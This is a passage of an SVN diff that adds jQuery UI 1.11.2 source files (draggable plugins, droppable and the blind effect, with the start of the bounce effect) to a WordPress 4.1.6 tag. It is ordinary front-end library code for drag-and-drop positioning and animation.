+				top = o.grid[1] ? this.originalPageY + Math.round((pageY - this.originalPageY) / o.grid[1]) * o.grid[1] : this.originalPageY;
+				pageY = containment ? ((top - this.offset.click.top >= containment[1] || top - this.offset.click.top > containment[3]) ? top : ((top - this.offset.click.top >= containment[1]) ? top - o.grid[1] : top + o.grid[1])) : top;
+
+				left = o.grid[0] ? this.originalPageX + Math.round((pageX - this.originalPageX) / o.grid[0]) * o.grid[0] : this.originalPageX;
+				pageX = containment ? ((left - this.offset.click.left >= containment[0] || left - this.offset.click.left > containment[2]) ? left : ((left - this.offset.click.left >= containment[0]) ? left - o.grid[0] : left + o.grid[0])) : left;
+			}
+
+			if ( o.axis === "y" ) {
+				pageX = this.originalPageX;
+			}
+
+			if ( o.axis === "x" ) {
+				pageY = this.originalPageY;
+			}
+		}
+
+		return {
+			top: (
+				pageY -																	// The absolute mouse position
+				this.offset.click.top	-												// Click offset (relative to the element)
+				this.offset.relative.top -												// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.parent.top +												// The offsetParent's offset without borders (offset + border)
+				( this.cssPosition === "fixed" ? -this.offset.scroll.top : ( scrollIsRootNode ? 0 : this.offset.scroll.top ) )
+			),
+			left: (
+				pageX -																	// The absolute mouse position
+				this.offset.click.left -												// Click offset (relative to the element)
+				this.offset.relative.left -												// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.parent.left +												// The offsetParent's offset without borders (offset + border)
+				( this.cssPosition === "fixed" ? -this.offset.scroll.left : ( scrollIsRootNode ? 0 : this.offset.scroll.left ) )
+			)
+		};
+
+	},
+
+	_clear: function() {
+		this.helper.removeClass("ui-draggable-dragging");
+		if (this.helper[0] !== this.element[0] && !this.cancelHelperRemoval) {
+			this.helper.remove();
+		}
+		this.helper = null;
+		this.cancelHelperRemoval = false;
+		if ( this.destroyOnClear ) {
+			this.destroy();
+		}
+	},
+
+	_normalizeRightBottom: function() {
+		if ( this.options.axis !== "y" && this.helper.css( "right" ) !== "auto" ) {
+			this.helper.width( this.helper.width() );
+			this.helper.css( "right", "auto" );
+		}
+		if ( this.options.axis !== "x" && this.helper.css( "bottom" ) !== "auto" ) {
+			this.helper.height( this.helper.height() );
+			this.helper.css( "bottom", "auto" );
+		}
+	},
+
+	// From now on bulk stuff - mainly helpers
+
+	_trigger: function( type, event, ui ) {
+		ui = ui || this._uiHash();
+		$.ui.plugin.call( this, type, [ event, ui, this ], true );
+
+		// Absolute position and offset (see #6884 ) have to be recalculated after plugins
+		if ( /^(drag|start|stop)/.test( type ) ) {
+			this.positionAbs = this._convertPositionTo( "absolute" );
+			ui.offset = this.positionAbs;
+		}
+		return $.Widget.prototype._trigger.call( this, type, event, ui );
+	},
+
+	plugins: {},
+
+	_uiHash: function() {
+		return {
+			helper: this.helper,
+			position: this.position,
+			originalPosition: this.originalPosition,
+			offset: this.positionAbs
+		};
+	}
+
+});
+
+$.ui.plugin.add( "draggable", "connectToSortable", {
+	start: function( event, ui, draggable ) {
+		var uiSortable = $.extend( {}, ui, {
+			item: draggable.element
+		});
+
+		draggable.sortables = [];
+		$( draggable.options.connectToSortable ).each(function() {
+			var sortable = $( this ).sortable( "instance" );
+
+			if ( sortable && !sortable.options.disabled ) {
+				draggable.sortables.push( sortable );
+
+				// refreshPositions is called at drag start to refresh the containerCache
+				// which is used in drag. This ensures it's initialized and synchronized
+				// with any changes that might have happened on the page since initialization.
+				sortable.refreshPositions();
+				sortable._trigger("activate", event, uiSortable);
+			}
+		});
+	},
+	stop: function( event, ui, draggable ) {
+		var uiSortable = $.extend( {}, ui, {
+			item: draggable.element
+		});
+
+		draggable.cancelHelperRemoval = false;
+
+		$.each( draggable.sortables, function() {
+			var sortable = this;
+
+			if ( sortable.isOver ) {
+				sortable.isOver = 0;
+
+				// Allow this sortable to handle removing the helper
+				draggable.cancelHelperRemoval = true;
+				sortable.cancelHelperRemoval = false;
+
+				// Use _storedCSS To restore properties in the sortable,
+				// as this also handles revert (#9675) since the draggable
+				// may have modified them in unexpected ways (#8809)
+				sortable._storedCSS = {
+					position: sortable.placeholder.css( "position" ),
+					top: sortable.placeholder.css( "top" ),
+					left: sortable.placeholder.css( "left" )
+				};
+
+				sortable._mouseStop(event);
+
+				// Once drag has ended, the sortable should return to using
+				// its original helper, not the shared helper from draggable
+				sortable.options.helper = sortable.options._helper;
+			} else {
+				// Prevent this Sortable from removing the helper.
+				// However, don't set the draggable to remove the helper
+				// either as another connected Sortable may yet handle the removal.
+				sortable.cancelHelperRemoval = true;
+
+				sortable._trigger( "deactivate", event, uiSortable );
+			}
+		});
+	},
+	drag: function( event, ui, draggable ) {
+		$.each( draggable.sortables, function() {
+			var innermostIntersecting = false,
+				sortable = this;
+
+			// Copy over variables that sortable's _intersectsWith uses
+			sortable.positionAbs = draggable.positionAbs;
+			sortable.helperProportions = draggable.helperProportions;
+			sortable.offset.click = draggable.offset.click;
+
+			if ( sortable._intersectsWith( sortable.containerCache ) ) {
+				innermostIntersecting = true;
+
+				$.each( draggable.sortables, function() {
+					// Copy over variables that sortable's _intersectsWith uses
+					this.positionAbs = draggable.positionAbs;
+					this.helperProportions = draggable.helperProportions;
+					this.offset.click = draggable.offset.click;
+
+					if ( this !== sortable &&
+							this._intersectsWith( this.containerCache ) &&
+							$.contains( sortable.element[ 0 ], this.element[ 0 ] ) ) {
+						innermostIntersecting = false;
+					}
+
+					return innermostIntersecting;
+				});
+			}
+
+			if ( innermostIntersecting ) {
+				// If it intersects, we use a little isOver variable and set it once,
+				// so that the move-in stuff gets fired only once.
+				if ( !sortable.isOver ) {
+					sortable.isOver = 1;
+
+					sortable.currentItem = ui.helper
+						.appendTo( sortable.element )
+						.data( "ui-sortable-item", true );
+
+					// Store helper option to later restore it
+					sortable.options._helper = sortable.options.helper;
+
+					sortable.options.helper = function() {
+						return ui.helper[ 0 ];
+					};
+
+					// Fire the start events of the sortable with our passed browser event,
+					// and our own helper (so it doesn't create a new one)
+					event.target = sortable.currentItem[ 0 ];
+					sortable._mouseCapture( event, true );
+					sortable._mouseStart( event, true, true );
+
+					// Because the browser event is way off the new appended portlet,
+					// modify necessary variables to reflect the changes
+					sortable.offset.click.top = draggable.offset.click.top;
+					sortable.offset.click.left = draggable.offset.click.left;
+					sortable.offset.parent.left -= draggable.offset.parent.left -
+						sortable.offset.parent.left;
+					sortable.offset.parent.top -= draggable.offset.parent.top -
+						sortable.offset.parent.top;
+
+					draggable._trigger( "toSortable", event );
+
+					// Inform draggable that the helper is in a valid drop zone,
+					// used solely in the revert option to handle "valid/invalid".
+					draggable.dropped = sortable.element;
+
+					// Need to refreshPositions of all sortables in the case that
+					// adding to one sortable changes the location of the other sortables (#9675)
+					$.each( draggable.sortables, function() {
+						this.refreshPositions();
+					});
+
+					// hack so receive/update callbacks work (mostly)
+					draggable.currentItem = draggable.element;
+					sortable.fromOutside = draggable;
+				}
+
+				if ( sortable.currentItem ) {
+					sortable._mouseDrag( event );
+					// Copy the sortable's position because the draggable's can potentially reflect
+					// a relative position, while sortable is always absolute, which the dragged
+					// element has now become. (#8809)
+					ui.position = sortable.position;
+				}
+			} else {
+				// If it doesn't intersect with the sortable, and it intersected before,
+				// we fake the drag stop of the sortable, but make sure it doesn't remove
+				// the helper by using cancelHelperRemoval.
+				if ( sortable.isOver ) {
+
+					sortable.isOver = 0;
+					sortable.cancelHelperRemoval = true;
+
+					// Calling sortable's mouseStop would trigger a revert,
+					// so revert must be temporarily false until after mouseStop is called.
+					sortable.options._revert = sortable.options.revert;
+					sortable.options.revert = false;
+
+					sortable._trigger( "out", event, sortable._uiHash( sortable ) );
+					sortable._mouseStop( event, true );
+
+					// restore sortable behaviors that were modfied
+					// when the draggable entered the sortable area (#9481)
+					sortable.options.revert = sortable.options._revert;
+					sortable.options.helper = sortable.options._helper;
+
+					if ( sortable.placeholder ) {
+						sortable.placeholder.remove();
+					}
+
+					// Recalculate the draggable's offset considering the sortable
+					// may have modified them in unexpected ways (#8809)
+					draggable._refreshOffsets( event );
+					ui.position = draggable._generatePosition( event, true );
+
+					draggable._trigger( "fromSortable", event );
+
+					// Inform draggable that the helper is no longer in a valid drop zone
+					draggable.dropped = false;
+
+					// Need to refreshPositions of all sortables just in case removing
+					// from one sortable changes the location of other sortables (#9675)
+					$.each( draggable.sortables, function() {
+						this.refreshPositions();
+					});
+				}
+			}
+		});
+	}
+});
+
+$.ui.plugin.add("draggable", "cursor", {
+	start: function( event, ui, instance ) {
+		var t = $( "body" ),
+			o = instance.options;
+
+		if (t.css("cursor")) {
+			o._cursor = t.css("cursor");
+		}
+		t.css("cursor", o.cursor);
+	},
+	stop: function( event, ui, instance ) {
+		var o = instance.options;
+		if (o._cursor) {
+			$("body").css("cursor", o._cursor);
+		}
+	}
+});
+
+$.ui.plugin.add("draggable", "opacity", {
+	start: function( event, ui, instance ) {
+		var t = $( ui.helper ),
+			o = instance.options;
+		if (t.css("opacity")) {
+			o._opacity = t.css("opacity");
+		}
+		t.css("opacity", o.opacity);
+	},
+	stop: function( event, ui, instance ) {
+		var o = instance.options;
+		if (o._opacity) {
+			$(ui.helper).css("opacity", o._opacity);
+		}
+	}
+});
+
+$.ui.plugin.add("draggable", "scroll", {
+	start: function( event, ui, i ) {
+		if ( !i.scrollParentNotHidden ) {
+			i.scrollParentNotHidden = i.helper.scrollParent( false );
+		}
+
+		if ( i.scrollParentNotHidden[ 0 ] !== i.document[ 0 ] && i.scrollParentNotHidden[ 0 ].tagName !== "HTML" ) {
+			i.overflowOffset = i.scrollParentNotHidden.offset();
+		}
+	},
+	drag: function( event, ui, i  ) {
+
+		var o = i.options,
+			scrolled = false,
+			scrollParent = i.scrollParentNotHidden[ 0 ],
+			document = i.document[ 0 ];
+
+		if ( scrollParent !== document && scrollParent.tagName !== "HTML" ) {
+			if ( !o.axis || o.axis !== "x" ) {
+				if ( ( i.overflowOffset.top + scrollParent.offsetHeight ) - event.pageY < o.scrollSensitivity ) {
+					scrollParent.scrollTop = scrolled = scrollParent.scrollTop + o.scrollSpeed;
+				} else if ( event.pageY - i.overflowOffset.top < o.scrollSensitivity ) {
+					scrollParent.scrollTop = scrolled = scrollParent.scrollTop - o.scrollSpeed;
+				}
+			}
+
+			if ( !o.axis || o.axis !== "y" ) {
+				if ( ( i.overflowOffset.left + scrollParent.offsetWidth ) - event.pageX < o.scrollSensitivity ) {
+					scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft + o.scrollSpeed;
+				} else if ( event.pageX - i.overflowOffset.left < o.scrollSensitivity ) {
+					scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft - o.scrollSpeed;
+				}
+			}
+
+		} else {
+
+			if (!o.axis || o.axis !== "x") {
+				if (event.pageY - $(document).scrollTop() < o.scrollSensitivity) {
+					scrolled = $(document).scrollTop($(document).scrollTop() - o.scrollSpeed);
+				} else if ($(window).height() - (event.pageY - $(document).scrollTop()) < o.scrollSensitivity) {
+					scrolled = $(document).scrollTop($(document).scrollTop() + o.scrollSpeed);
+				}
+			}
+
+			if (!o.axis || o.axis !== "y") {
+				if (event.pageX - $(document).scrollLeft() < o.scrollSensitivity) {
+					scrolled = $(document).scrollLeft($(document).scrollLeft() - o.scrollSpeed);
+				} else if ($(window).width() - (event.pageX - $(document).scrollLeft()) < o.scrollSensitivity) {
+					scrolled = $(document).scrollLeft($(document).scrollLeft() + o.scrollSpeed);
+				}
+			}
+
+		}
+
+		if (scrolled !== false && $.ui.ddmanager && !o.dropBehaviour) {
+			$.ui.ddmanager.prepareOffsets(i, event);
+		}
+
+	}
+});
+
+$.ui.plugin.add("draggable", "snap", {
+	start: function( event, ui, i ) {
+
+		var o = i.options;
+
+		i.snapElements = [];
+
+		$(o.snap.constructor !== String ? ( o.snap.items || ":data(ui-draggable)" ) : o.snap).each(function() {
+			var $t = $(this),
+				$o = $t.offset();
+			if (this !== i.element[0]) {
+				i.snapElements.push({
+					item: this,
+					width: $t.outerWidth(), height: $t.outerHeight(),
+					top: $o.top, left: $o.left
+				});
+			}
+		});
+
+	},
+	drag: function( event, ui, inst ) {
+
+		var ts, bs, ls, rs, l, r, t, b, i, first,
+			o = inst.options,
+			d = o.snapTolerance,
+			x1 = ui.offset.left, x2 = x1 + inst.helperProportions.width,
+			y1 = ui.offset.top, y2 = y1 + inst.helperProportions.height;
+
+		for (i = inst.snapElements.length - 1; i >= 0; i--){
+
+			l = inst.snapElements[i].left - inst.margins.left;
+			r = l + inst.snapElements[i].width;
+			t = inst.snapElements[i].top - inst.margins.top;
+			b = t + inst.snapElements[i].height;
+
+			if ( x2 < l - d || x1 > r + d || y2 < t - d || y1 > b + d || !$.contains( inst.snapElements[ i ].item.ownerDocument, inst.snapElements[ i ].item ) ) {
+				if (inst.snapElements[i].snapping) {
+					(inst.options.snap.release && inst.options.snap.release.call(inst.element, event, $.extend(inst._uiHash(), { snapItem: inst.snapElements[i].item })));
+				}
+				inst.snapElements[i].snapping = false;
+				continue;
+			}
+
+			if (o.snapMode !== "inner") {
+				ts = Math.abs(t - y2) <= d;
+				bs = Math.abs(b - y1) <= d;
+				ls = Math.abs(l - x2) <= d;
+				rs = Math.abs(r - x1) <= d;
+				if (ts) {
+					ui.position.top = inst._convertPositionTo("relative", { top: t - inst.helperProportions.height, left: 0 }).top;
+				}
+				if (bs) {
+					ui.position.top = inst._convertPositionTo("relative", { top: b, left: 0 }).top;
+				}
+				if (ls) {
+					ui.position.left = inst._convertPositionTo("relative", { top: 0, left: l - inst.helperProportions.width }).left;
+				}
+				if (rs) {
+					ui.position.left = inst._convertPositionTo("relative", { top: 0, left: r }).left;
+				}
+			}
+
+			first = (ts || bs || ls || rs);
+
+			if (o.snapMode !== "outer") {
+				ts = Math.abs(t - y1) <= d;
+				bs = Math.abs(b - y2) <= d;
+				ls = Math.abs(l - x1) <= d;
+				rs = Math.abs(r - x2) <= d;
+				if (ts) {
+					ui.position.top = inst._convertPositionTo("relative", { top: t, left: 0 }).top;
+				}
+				if (bs) {
+					ui.position.top = inst._convertPositionTo("relative", { top: b - inst.helperProportions.height, left: 0 }).top;
+				}
+				if (ls) {
+					ui.position.left = inst._convertPositionTo("relative", { top: 0, left: l }).left;
+				}
+				if (rs) {
+					ui.position.left = inst._convertPositionTo("relative", { top: 0, left: r - inst.helperProportions.width }).left;
+				}
+			}
+
+			if (!inst.snapElements[i].snapping && (ts || bs || ls || rs || first)) {
+				(inst.options.snap.snap && inst.options.snap.snap.call(inst.element, event, $.extend(inst._uiHash(), { snapItem: inst.snapElements[i].item })));
+			}
+			inst.snapElements[i].snapping = (ts || bs || ls || rs || first);
+
+		}
+
+	}
+});
+
+$.ui.plugin.add("draggable", "stack", {
+	start: function( event, ui, instance ) {
+		var min,
+			o = instance.options,
+			group = $.makeArray($(o.stack)).sort(function(a, b) {
+				return (parseInt($(a).css("zIndex"), 10) || 0) - (parseInt($(b).css("zIndex"), 10) || 0);
+			});
+
+		if (!group.length) { return; }
+
+		min = parseInt($(group[0]).css("zIndex"), 10) || 0;
+		$(group).each(function(i) {
+			$(this).css("zIndex", min + i);
+		});
+		this.css("zIndex", (min + group.length));
+	}
+});
+
+$.ui.plugin.add("draggable", "zIndex", {
+	start: function( event, ui, instance ) {
+		var t = $( ui.helper ),
+			o = instance.options;
+
+		if (t.css("zIndex")) {
+			o._zIndex = t.css("zIndex");
+		}
+		t.css("zIndex", o.zIndex);
+	},
+	stop: function( event, ui, instance ) {
+		var o = instance.options;
+
+		if (o._zIndex) {
+			$(ui.helper).css("zIndex", o._zIndex);
+		}
+	}
+});
+
+return $.ui.draggable;
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/droppable.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/droppable.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/droppable.js	(revision 33402)
@@ -0,0 +1,413 @@
+/*!
+ * jQuery UI Droppable 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/droppable/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget",
+			"./mouse",
+			"./draggable"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+$.widget( "ui.droppable", {
+	version: "1.11.2",
+	widgetEventPrefix: "drop",
+	options: {
+		accept: "*",
+		activeClass: false,
+		addClasses: true,
+		greedy: false,
+		hoverClass: false,
+		scope: "default",
+		tolerance: "intersect",
+
+		// callbacks
+		activate: null,
+		deactivate: null,
+		drop: null,
+		out: null,
+		over: null
+	},
+	_create: function() {
+
+		var proportions,
+			o = this.options,
+			accept = o.accept;
+
+		this.isover = false;
+		this.isout = true;
+
+		this.accept = $.isFunction( accept ) ? accept : function( d ) {
+			return d.is( accept );
+		};
+
+		this.proportions = function( /* valueToWrite */ ) {
+			if ( arguments.length ) {
+				// Store the droppable's proportions
+				proportions = arguments[ 0 ];
+			} else {
+				// Retrieve or derive the droppable's proportions
+				return proportions ?
+					proportions :
+					proportions = {
+						width: this.element[ 0 ].offsetWidth,
+						height: this.element[ 0 ].offsetHeight
+					};
+			}
+		};
+
+		this._addToManager( o.scope );
+
+		o.addClasses && this.element.addClass( "ui-droppable" );
+
+	},
+
+	_addToManager: function( scope ) {
+		// Add the reference and positions to the manager
+		$.ui.ddmanager.droppables[ scope ] = $.ui.ddmanager.droppables[ scope ] || [];
+		$.ui.ddmanager.droppables[ scope ].push( this );
+	},
+
+	_splice: function( drop ) {
+		var i = 0;
+		for ( ; i < drop.length; i++ ) {
+			if ( drop[ i ] === this ) {
+				drop.splice( i, 1 );
+			}
+		}
+	},
+
+	_destroy: function() {
+		var drop = $.ui.ddmanager.droppables[ this.options.scope ];
+
+		this._splice( drop );
+
+		this.element.removeClass( "ui-droppable ui-droppable-disabled" );
+	},
+
+	_setOption: function( key, value ) {
+
+		if ( key === "accept" ) {
+			this.accept = $.isFunction( value ) ? value : function( d ) {
+				return d.is( value );
+			};
+		} else if ( key === "scope" ) {
+			var drop = $.ui.ddmanager.droppables[ this.options.scope ];
+
+			this._splice( drop );
+			this._addToManager( value );
+		}
+
+		this._super( key, value );
+	},
+
+	_activate: function( event ) {
+		var draggable = $.ui.ddmanager.current;
+		if ( this.options.activeClass ) {
+			this.element.addClass( this.options.activeClass );
+		}
+		if ( draggable ){
+			this._trigger( "activate", event, this.ui( draggable ) );
+		}
+	},
+
+	_deactivate: function( event ) {
+		var draggable = $.ui.ddmanager.current;
+		if ( this.options.activeClass ) {
+			this.element.removeClass( this.options.activeClass );
+		}
+		if ( draggable ){
+			this._trigger( "deactivate", event, this.ui( draggable ) );
+		}
+	},
+
+	_over: function( event ) {
+
+		var draggable = $.ui.ddmanager.current;
+
+		// Bail if draggable and droppable are same element
+		if ( !draggable || ( draggable.currentItem || draggable.element )[ 0 ] === this.element[ 0 ] ) {
+			return;
+		}
+
+		if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) {
+			if ( this.options.hoverClass ) {
+				this.element.addClass( this.options.hoverClass );
+			}
+			this._trigger( "over", event, this.ui( draggable ) );
+		}
+
+	},
+
+	_out: function( event ) {
+
+		var draggable = $.ui.ddmanager.current;
+
+		// Bail if draggable and droppable are same element
+		if ( !draggable || ( draggable.currentItem || draggable.element )[ 0 ] === this.element[ 0 ] ) {
+			return;
+		}
+
+		if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) {
+			if ( this.options.hoverClass ) {
+				this.element.removeClass( this.options.hoverClass );
+			}
+			this._trigger( "out", event, this.ui( draggable ) );
+		}
+
+	},
+
+	_drop: function( event, custom ) {
+
+		var draggable = custom || $.ui.ddmanager.current,
+			childrenIntersection = false;
+
+		// Bail if draggable and droppable are same element
+		if ( !draggable || ( draggable.currentItem || draggable.element )[ 0 ] === this.element[ 0 ] ) {
+			return false;
+		}
+
+		this.element.find( ":data(ui-droppable)" ).not( ".ui-draggable-dragging" ).each(function() {
+			var inst = $( this ).droppable( "instance" );
+			if (
+				inst.options.greedy &&
+				!inst.options.disabled &&
+				inst.options.scope === draggable.options.scope &&
+				inst.accept.call( inst.element[ 0 ], ( draggable.currentItem || draggable.element ) ) &&
+				$.ui.intersect( draggable, $.extend( inst, { offset: inst.element.offset() } ), inst.options.tolerance, event )
+			) { childrenIntersection = true; return false; }
+		});
+		if ( childrenIntersection ) {
+			return false;
+		}
+
+		if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) {
+			if ( this.options.activeClass ) {
+				this.element.removeClass( this.options.activeClass );
+			}
+			if ( this.options.hoverClass ) {
+				this.element.removeClass( this.options.hoverClass );
+			}
+			this._trigger( "drop", event, this.ui( draggable ) );
+			return this.element;
+		}
+
+		return false;
+
+	},
+
+	ui: function( c ) {
+		return {
+			draggable: ( c.currentItem || c.element ),
+			helper: c.helper,
+			position: c.position,
+			offset: c.positionAbs
+		};
+	}
+
+});
+
+$.ui.intersect = (function() {
+	function isOverAxis( x, reference, size ) {
+		return ( x >= reference ) && ( x < ( reference + size ) );
+	}
+
+	return function( draggable, droppable, toleranceMode, event ) {
+
+		if ( !droppable.offset ) {
+			return false;
+		}
+
+		var x1 = ( draggable.positionAbs || draggable.position.absolute ).left + draggable.margins.left,
+			y1 = ( draggable.positionAbs || draggable.position.absolute ).top + draggable.margins.top,
+			x2 = x1 + draggable.helperProportions.width,
+			y2 = y1 + draggable.helperProportions.height,
+			l = droppable.offset.left,
+			t = droppable.offset.top,
+			r = l + droppable.proportions().width,
+			b = t + droppable.proportions().height;
+
+		switch ( toleranceMode ) {
+		case "fit":
+			return ( l <= x1 && x2 <= r && t <= y1 && y2 <= b );
+		case "intersect":
+			return ( l < x1 + ( draggable.helperProportions.width / 2 ) && // Right Half
+				x2 - ( draggable.helperProportions.width / 2 ) < r && // Left Half
+				t < y1 + ( draggable.helperProportions.height / 2 ) && // Bottom Half
+				y2 - ( draggable.helperProportions.height / 2 ) < b ); // Top Half
+		case "pointer":
+			return isOverAxis( event.pageY, t, droppable.proportions().height ) && isOverAxis( event.pageX, l, droppable.proportions().width );
+		case "touch":
+			return (
+				( y1 >= t && y1 <= b ) || // Top edge touching
+				( y2 >= t && y2 <= b ) || // Bottom edge touching
+				( y1 < t && y2 > b ) // Surrounded vertically
+			) && (
+				( x1 >= l && x1 <= r ) || // Left edge touching
+				( x2 >= l && x2 <= r ) || // Right edge touching
+				( x1 < l && x2 > r ) // Surrounded horizontally
+			);
+		default:
+			return false;
+		}
+	};
+})();
+
+/*
+	This manager tracks offsets of draggables and droppables
+*/
+$.ui.ddmanager = {
+	current: null,
+	droppables: { "default": [] },
+	prepareOffsets: function( t, event ) {
+
+		var i, j,
+			m = $.ui.ddmanager.droppables[ t.options.scope ] || [],
+			type = event ? event.type : null, // workaround for #2317
+			list = ( t.currentItem || t.element ).find( ":data(ui-droppable)" ).addBack();
+
+		droppablesLoop: for ( i = 0; i < m.length; i++ ) {
+
+			// No disabled and non-accepted
+			if ( m[ i ].options.disabled || ( t && !m[ i ].accept.call( m[ i ].element[ 0 ], ( t.currentItem || t.element ) ) ) ) {
+				continue;
+			}
+
+			// Filter out elements in the current dragged item
+			for ( j = 0; j < list.length; j++ ) {
+				if ( list[ j ] === m[ i ].element[ 0 ] ) {
+					m[ i ].proportions().height = 0;
+					continue droppablesLoop;
+				}
+			}
+
+			m[ i ].visible = m[ i ].element.css( "display" ) !== "none";
+			if ( !m[ i ].visible ) {
+				continue;
+			}
+
+			// Activate the droppable if used directly from draggables
+			if ( type === "mousedown" ) {
+				m[ i ]._activate.call( m[ i ], event );
+			}
+
+			m[ i ].offset = m[ i ].element.offset();
+			m[ i ].proportions({ width: m[ i ].element[ 0 ].offsetWidth, height: m[ i ].element[ 0 ].offsetHeight });
+
+		}
+
+	},
+	drop: function( draggable, event ) {
+
+		var dropped = false;
+		// Create a copy of the droppables in case the list changes during the drop (#9116)
+		$.each( ( $.ui.ddmanager.droppables[ draggable.options.scope ] || [] ).slice(), function() {
+
+			if ( !this.options ) {
+				return;
+			}
+			if ( !this.options.disabled && this.visible && $.ui.intersect( draggable, this, this.options.tolerance, event ) ) {
+				dropped = this._drop.call( this, event ) || dropped;
+			}
+
+			if ( !this.options.disabled && this.visible && this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) {
+				this.isout = true;
+				this.isover = false;
+				this._deactivate.call( this, event );
+			}
+
+		});
+		return dropped;
+
+	},
+	dragStart: function( draggable, event ) {
+		// Listen for scrolling so that if the dragging causes scrolling the position of the droppables can be recalculated (see #5003)
+		draggable.element.parentsUntil( "body" ).bind( "scroll.droppable", function() {
+			if ( !draggable.options.refreshPositions ) {
+				$.ui.ddmanager.prepareOffsets( draggable, event );
+			}
+		});
+	},
+	drag: function( draggable, event ) {
+
+		// If you have a highly dynamic page, you might try this option. It renders positions every time you move the mouse.
+		if ( draggable.options.refreshPositions ) {
+			$.ui.ddmanager.prepareOffsets( draggable, event );
+		}
+
+		// Run through all droppables and check their positions based on specific tolerance options
+		$.each( $.ui.ddmanager.droppables[ draggable.options.scope ] || [], function() {
+
+			if ( this.options.disabled || this.greedyChild || !this.visible ) {
+				return;
+			}
+
+			var parentInstance, scope, parent,
+				intersects = $.ui.intersect( draggable, this, this.options.tolerance, event ),
+				c = !intersects && this.isover ? "isout" : ( intersects && !this.isover ? "isover" : null );
+			if ( !c ) {
+				return;
+			}
+
+			if ( this.options.greedy ) {
+				// find droppable parents with same scope
+				scope = this.options.scope;
+				parent = this.element.parents( ":data(ui-droppable)" ).filter(function() {
+					return $( this ).droppable( "instance" ).options.scope === scope;
+				});
+
+				if ( parent.length ) {
+					parentInstance = $( parent[ 0 ] ).droppable( "instance" );
+					parentInstance.greedyChild = ( c === "isover" );
+				}
+			}
+
+			// we just moved into a greedy child
+			if ( parentInstance && c === "isover" ) {
+				parentInstance.isover = false;
+				parentInstance.isout = true;
+				parentInstance._out.call( parentInstance, event );
+			}
+
+			this[ c ] = true;
+			this[c === "isout" ? "isover" : "isout"] = false;
+			this[c === "isover" ? "_over" : "_out"].call( this, event );
+
+			// we just moved out of a greedy child
+			if ( parentInstance && c === "isout" ) {
+				parentInstance.isout = false;
+				parentInstance.isover = true;
+				parentInstance._over.call( parentInstance, event );
+			}
+		});
+
+	},
+	dragStop: function( draggable, event ) {
+		draggable.element.parentsUntil( "body" ).unbind( "scroll.droppable" );
+		// Call prepareOffsets one final time since IE does not fire return scroll events when overflow was caused by drag (see #5003)
+		if ( !draggable.options.refreshPositions ) {
+			$.ui.ddmanager.prepareOffsets( draggable, event );
+		}
+	}
+};
+
+return $.ui.droppable;
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-blind.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-blind.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-blind.js	(revision 33402)
@@ -0,0 +1,90 @@
+/*!
+ * jQuery UI Effects Blind 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/blind-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.blind = function( o, done ) {
+	// Create element
+	var el = $( this ),
+		rvertical = /up|down|vertical/,
+		rpositivemotion = /up|left|vertical|horizontal/,
+		props = [ "position", "top", "bottom", "left", "right", "height", "width" ],
+		mode = $.effects.setMode( el, o.mode || "hide" ),
+		direction = o.direction || "up",
+		vertical = rvertical.test( direction ),
+		ref = vertical ? "height" : "width",
+		ref2 = vertical ? "top" : "left",
+		motion = rpositivemotion.test( direction ),
+		animation = {},
+		show = mode === "show",
+		wrapper, distance, margin;
+
+	// if already wrapped, the wrapper's properties are my property. #6245
+	if ( el.parent().is( ".ui-effects-wrapper" ) ) {
+		$.effects.save( el.parent(), props );
+	} else {
+		$.effects.save( el, props );
+	}
+	el.show();
+	wrapper = $.effects.createWrapper( el ).css({
+		overflow: "hidden"
+	});
+
+	distance = wrapper[ ref ]();
+	margin = parseFloat( wrapper.css( ref2 ) ) || 0;
+
+	animation[ ref ] = show ? distance : 0;
+	if ( !motion ) {
+		el
+			.css( vertical ? "bottom" : "right", 0 )
+			.css( vertical ? "top" : "left", "auto" )
+			.css({ position: "absolute" });
+
+		animation[ ref2 ] = show ? margin : distance + margin;
+	}
+
+	// start at 0 if we are showing
+	if ( show ) {
+		wrapper.css( ref, 0 );
+		if ( !motion ) {
+			wrapper.css( ref2, margin + distance );
+		}
+	}
+
+	// Animate
+	wrapper.animate( animation, {
+		duration: o.duration,
+		easing: o.easing,
+		queue: false,
+		complete: function() {
+			if ( mode === "hide" ) {
+				el.hide();
+			}
+			$.effects.restore( el, props );
+			$.effects.removeWrapper( el );
+			done();
+		}
+	});
+};
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-bounce.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-bounce.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-bounce.js	(revision 33402)
@@ -0,0 +1,123 @@
+/*!
+ * jQuery UI Effects Bounce 1.11.2
+ * http://jqueryui.com
+ *
